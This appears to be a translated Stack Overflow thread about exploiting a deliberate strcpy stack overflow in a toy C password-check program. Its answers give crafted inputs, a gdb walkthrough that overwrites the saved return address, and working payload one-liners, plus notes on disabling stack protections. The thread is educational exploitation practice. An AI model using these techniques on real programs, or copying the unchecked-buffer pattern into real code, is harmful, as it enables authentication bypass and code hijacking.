尝试缓冲区溢出

时间:2013-11-21 20:38:16

标签: c buffer-overflow

我试图使用缓冲区溢出来更改函数的结果,以使用以下代码更改堆栈上的结果:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>


int check_auth1(char *password) 
{
    char password_buffer[8];
    int auth_flag = 0;
    strcpy(password_buffer, password);
    if (strcmp(password_buffer, "cup") == 0) {
        auth_flag = 1;
    }
    return auth_flag;
}
int main(int argc, char **argv)
{
    if (argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
        exit(0);
    }
    int authenticated = check_auth1(argv[1]);
    if (authenticated != 1) {
        printf("NOT Allowed.\n");
    } else {
        printf("Allowed.\n");
    }
    return 0;
}

我正在使用gdb来分析堆栈,这就是我所拥有的:

0xbffff6d0: 0xbffff8e4  0x0000002f  0xbffff72c  0xb7fd0ff4
0xbffff6e0: 0x08048540  0x08049ff4  0x00000002  0x0804833d
0xbffff6f0: 0x00000000  0x00000000  0xbffff728  0x0804850f
0xbffff700: 0xbffff901  0xb7e5e196  0xb7fd0ff4  0xb7e5e225
0xbffff710: 0xb7fed280  0x00000000  0x08048549  0xb7fd0ff4
0xbffff720: 0x08048540  0x00000000  0x00000000  0xb7e444d3
0xbffff730: 0x00000002  0xbffff7c4  0xbffff7d0  0xb7fdc858
0xbffff740: 0x00000000  0xbffff71c  0xbffff7d0  0x00000000


    [1] $ebp                0xbffff6f8
    [2] $esp                0xbffff6d0
    [3] password            0xbffff700
    [4] auth_flag           0xbffff6ec
    [5] password_buffer     0xbffff6e4


   0x080484ce <+0>: push   %ebp
   0x080484cf <+1>: mov    %esp,%ebp
   0x080484d1 <+3>: and    $0xfffffff0,%esp
   0x080484d4 <+6>: sub    $0x20,%esp
   0x080484d7 <+9>: cmpl   $0x1,0x8(%ebp)
   0x080484db <+13>:    jg     0x80484ff <main+49>
   0x080484dd <+15>:    mov    0xc(%ebp),%eax
   0x080484e0 <+18>:    mov    (%eax),%edx
   0x080484e2 <+20>:    mov    $0x8048614,%eax
   0x080484e7 <+25>:    mov    %edx,0x4(%esp)
   0x080484eb <+29>:    mov    %eax,(%esp)
   0x080484ee <+32>:    call   0x8048360 <printf@plt>
   0x080484f3 <+37>:    movl   $0x0,(%esp)
   0x080484fa <+44>:    call   0x80483a0 <exit@plt>
   0x080484ff <+49>:    mov    0xc(%ebp),%eax
   0x08048502 <+52>:    add    $0x4,%eax
   0x08048505 <+55>:    mov    (%eax),%eax
   0x08048507 <+57>:    mov    %eax,(%esp)
   ----------
   IMPORTANT STUFF STARTS NOW
   0x0804850a <+60>:    call   0x8048474 <check_auth1>
   0x0804850f <+65>:    mov    %eax,0x1c(%esp)
   0x08048513 <+69>:    cmpl   $0x1,0x1c(%esp)
   0x08048518 <+74>:    je     0x8048528 <main+90>

我确定了$ ebp与&amp; password_buffer的距离:0xbffff6f8 - 0xbffff6e4 = 14字节

所以使用14'A'输入,即./stackoverflowtest $(perl -e 'print "A" x 14'),它应该带我“允许”。

我哪里错了?导致溢出所需的输入是什么?

关闭ASLR和gcc金丝雀。

check_auth1程序集转储:

Dump of assembler code for function check_auth1:
   0x08048474 <+0>: push   %ebp
   0x08048475 <+1>: mov    %esp,%ebp
   0x08048477 <+3>: push   %edi
   0x08048478 <+4>: push   %esi
   0x08048479 <+5>: sub    $0x20,%esp
=> 0x0804847c <+8>: movl   $0x0,-0xc(%ebp)
   0x08048483 <+15>:    mov    0x8(%ebp),%eax
   0x08048486 <+18>:    mov    %eax,0x4(%esp)
   0x0804848a <+22>:    lea    -0x14(%ebp),%eax
   0x0804848d <+25>:    mov    %eax,(%esp)
   0x08048490 <+28>:    call   0x8048370 <strcpy@plt>
   0x08048495 <+33>:    lea    -0x14(%ebp),%eax
   0x08048498 <+36>:    mov    %eax,%edx
   0x0804849a <+38>:    mov    $0x8048610,%eax
   0x0804849f <+43>:    mov    $0x4,%ecx
   0x080484a4 <+48>:    mov    %edx,%esi
   0x080484a6 <+50>:    mov    %eax,%edi
   0x080484a8 <+52>:    repz cmpsb %es:(%edi),%ds:(%esi)
   0x080484aa <+54>:    seta   %dl
   0x080484ad <+57>:    setb   %al
   0x080484b0 <+60>:    mov    %edx,%ecx
   0x080484b2 <+62>:    sub    %al,%cl
   0x080484b4 <+64>:    mov    %ecx,%eax
   0x080484b6 <+66>:    movsbl %al,%eax
   0x080484b9 <+69>:    test   %eax,%eax
   0x080484bb <+71>:    jne    0x80484c4 <check_auth1+80>
   0x080484bd <+73>:    movl   $0x1,-0xc(%ebp)
   0x080484c4 <+80>:    mov    -0xc(%ebp),%eax
   0x080484c7 <+83>:    add    $0x20,%esp
   0x080484ca <+86>:    pop    %esi
   0x080484cb <+87>:    pop    %edi
   0x080484cc <+88>:    pop    %ebp
   0x080484cd <+89>:    ret  

3 个答案:

答案 0 :(得分:3)

你正准确地检查1;将其更改为(c编程的更常规风格)

if (! authenticated) {

你会看到它正在工作(或者在gdb中运行它,或者打印出标志值,你会看到标志被覆盖得很好,它只是不是1)。

记住int是由多个字符组成的。因此设置一个正好为1的值很难,因为其中许多字符需要为零(这是字符串终止符)。相反,你得到一个像13363(密码12345678901234)的值。

[嗯;即使有溢出,valgrind也不会抱怨。]

<强>更新

好的,这是如何使用您拥有的代码完成的。我们需要一个包含13个字符的字符串,其中最后一个字符是ASCII 1.在bash:

> echo -n "123456789012" > foo
> echo $'\001' >> foo
> ./a.out `cat foo`
Allowed.

我正在使用

  if (authenticated != 1) {
    printf("NOT Allowed.\n");
  } else {
    printf("Allowed.\n");
  }

另外,我依靠编译器将一些未使用的字节设置为零(小端;第13个字节是1 14-16th是0)。它适用于gcc bo.c,但不适用于gcc -O3 bo.c

这里的另一个答案是通过走到下一个可以被有效覆盖的地方来解决这个问题(我假设你的目标是auth_flag变量,因为你直接把它放在密码之后)。

答案 1 :(得分:3)

这很容易被利用,这是通过的方式。

首先用-g编译它,这样可以更容易理解你在做什么。然后,我们的目标是重写已保存的eip check_auth1()并将其移至main()函数中测试的else部分。

$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9       int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
 called by frame at 0xffffd320
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
   ebp at 0xffffd2e8, eip at 0xffffd2ec

我们停在check_auth1()并显示了堆栈框架。我们看到保存的eip存储在0xffffd2ec的堆栈中,并包含0x804853f

让我们看看它的作用:

(gdb) disassemble main
Dump of assembler code for function main:
   0x080484ff <+0>:     push   %ebp
   0x08048500 <+1>:     mov    %esp,%ebp
   0x08048502 <+3>:     and    $0xfffffff0,%esp
   0x08048505 <+6>:     sub    $0x20,%esp
   0x08048508 <+9>:     cmpl   $0x1,0x8(%ebp)
   0x0804850c <+13>:    jg     0x804852f <main+48>
   0x0804850e <+15>:    mov    0xc(%ebp),%eax
   0x08048511 <+18>:    mov    (%eax),%eax
   0x08048513 <+20>:    mov    %eax,0x4(%esp)
   0x08048517 <+24>:    movl   $0x8048604,(%esp)
   0x0804851e <+31>:    call   0x8048360 <printf@plt>
   0x08048523 <+36>:    movl   $0x0,(%esp)
   0x0804852a <+43>:    call   0x80483a0 <exit@plt>
   0x0804852f <+48>:    mov    0xc(%ebp),%eax
   0x08048532 <+51>:    add    $0x4,%eax
   0x08048535 <+54>:    mov    (%eax),%eax
   0x08048537 <+56>:    mov    %eax,(%esp)
   0x0804853a <+59>:    call   0x80484bd <check_auth1>
   0x0804853f <+64>:    mov    %eax,0x1c(%esp)   <-- We jump here when returning
   0x08048543 <+68>:    cmpl   $0x1,0x1c(%esp)
   0x08048548 <+73>:    je     0x8048558 <main+89>
   0x0804854a <+75>:    movl   $0x804861a,(%esp)
   0x08048551 <+82>:    call   0x8048380 <puts@plt>
   0x08048556 <+87>:    jmp    0x8048564 <main+101>
   0x08048558 <+89>:    movl   $0x8048627,(%esp) <-- We want to jump here
   0x0804855f <+96>:    call   0x8048380 <puts@plt>
   0x08048564 <+101>:   mov    $0x0,%eax
   0x08048569 <+106>:   leave  
   0x0804856a <+107>:   ret    
End of assembler dump.

但事实是,我们希望避免通过cmpl $0x1,0x1c(%esp)并直接进入测试的其他部分。这意味着我们想要跳转到0x08048558

无论如何,让我们首先尝试看看我们的28'A是否足以重写已保存的eip

(gdb) next
10      strcpy(password_buffer, password);
(gdb) next
11      if (strcmp(password_buffer, "cup") == 0) {

这里,strcpy执行了溢出,所以让我们看一下堆栈框架:

(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
 eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
 called by frame at 0xffffd2f4
 source language c.
 Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
  ebp at 0xffffd2e8, eip at 0xffffd2ec

确实,我们用'A'重写了保存的eip(0x41A的十六进制代码)。事实上,28正是我们所需要的,而不是更多。如果我们用目标地址替换最后四个字节,那就没关系。

有一件事是你需要重新排序字节以考虑小端。因此,0x08048558将成为\x58\x85\x04\x08

最后,您还需要为保存的ebp值(而不是AAAA)写一些有意义的地址,所以我的诀窍就是将最后一个地址加倍:

$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`

请注意,不需要禁用ASLR,因为您正在跳入.text部分(此部分不会在ASLR下移动)。但是,你肯定需要禁用金丝雀。

编辑:我错误地将已保存的ebp替换为已保存的eip。事实上,如果您没有给出ebp权利,那么在尝试退出main时,您会遇到一个段错误。这是因为我们确实将保存的ebp设置为.text部分中的某个位置,即使从check_auth1返回时没有问题,堆栈帧也会在返回时不正确地恢复在main函数中(系统会认为堆栈位于代码中)。结果将是我们编写的保存的ebp所指向的地址上方的4个字节(并指向指令)将与保存的eip main混淆。因此,您要么禁用ASLR并写入保存的ebp0xffffd330)的正确地址,这将导致

 $> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`

或者,您需要执行一个执行干净exit(0)的ROP(通常很容易实现)。

答案 2 :(得分:2)

strcpy(password_buffer, password);

测试期间需要解决的一个问题是此函数调用。如果程序seg出错,则可能是因为FORTIFY_SOURCE。我想说&#34;意外崩溃&#34;,但我不认为这适用于此;)

FORTIFY_SOURCE使用&#34;更安全&#34;高风险函数的变体,如memcpystrcpy。当编译器可以推导出目标缓冲区大小时,编译器会使用更安全的变体。如果副本超过目标缓冲区大小,则程序将调用abort()

要禁用FORTIFY_SOURCE进行测试,您应该使用-U_FORTIFY_SOURCE-D_FORTIFY_SOURCE=0编译该程序。